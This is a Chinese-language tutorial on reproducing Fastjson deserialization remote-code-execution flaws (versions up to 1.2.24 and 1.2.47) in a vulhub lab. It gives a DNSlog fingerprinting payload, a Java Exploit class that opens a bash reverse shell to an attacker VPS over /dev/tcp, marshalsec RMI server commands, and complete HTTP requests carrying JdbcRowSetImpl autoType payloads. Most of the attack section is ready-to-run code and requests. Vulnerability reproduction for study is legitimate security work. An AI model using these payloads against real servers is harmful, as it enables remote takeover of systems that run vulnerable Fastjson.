Fastjson漏洞复现

简介

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

fastjson指纹识别

当我们在渗透测试中,抓包的时候发现返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库

img

接着我们可以进一步进行判断

  1. 根据报错信息判断

发送一个post请求。发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息。如果屏蔽了报错信息请看第二条

img

  1. 利用dnslog盲打

对目标发送一个POST请求,请求体内容如下。请求头添加Content-Type: application/json

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} 

img

DNSlog刷新成功

Fastjson<1.2.24远程代码执行(CVE-2017-18349)

漏洞详情

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞版本

fastjson <=1.2.24

漏洞分析

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

需要环境

在本机提前安装好maven和jdk

image-20220316235940219

image-20220317000000186

漏洞复现

使用vulhub搭建漏洞环境

docker-compose up d

访问xxx:8090

image-20220316235812389

保存以下代码

dnslog.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

编译为Exploit.class

image-20220317010125235

使用python在当前目录下起一个http服务,如果端口占用换其他的

python -m SimpleHTTPServer 4567

image-20220317000648363

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类Exploit.class

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec/

编译项目

mvn clean package -DskipTests

以我搭建Exploit.class类http服务的服务器IP为2.2.2.2端口为4567

cd target/


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx:4567/#Exploit" 9999

RMI服务可以搭建在与Exploit.class类的http服务同一台服务器,也可以搭建在其它服务器上。我们演示还是在同一台。

image-20220317001425835

环境已经搭建好,接下来使用burp开始

POST / HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Host: 目标ip:8090
Connection: close
Content-Length: 162
Content-Type: application/json
Accept-Encoding: gzip, deflate

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vps的ip:9999/Exploit",
        "autoCommit":true
    }
}

如图即代表攻击成功

image-20220317012518646

RMI服务响应

image-20220317013058412

python搭建的http服务响应

image-20220317013143699

nc

image-20220317013212099

image-20220317013225316

Fastjson 1.2.47 远程命令执行漏洞

和fastjson1.2.24差不多,就是poc不一样而已

影响版本

  • fastjson<=1.2.47

漏洞检测

检测方式和1.2.24一样

漏洞利用

创建恶意类,python搭建服务

image-20220317010125235

搭建RMI服务

image-20220317001425835

发送的数据包改为即可

POST / HTTP/1.1
Host: 192.168.140.158:8090   #靶机地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263
 
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS地址:端口/Exploit",  #这里的Exploit不能变
        "autoCommit":true
    }
}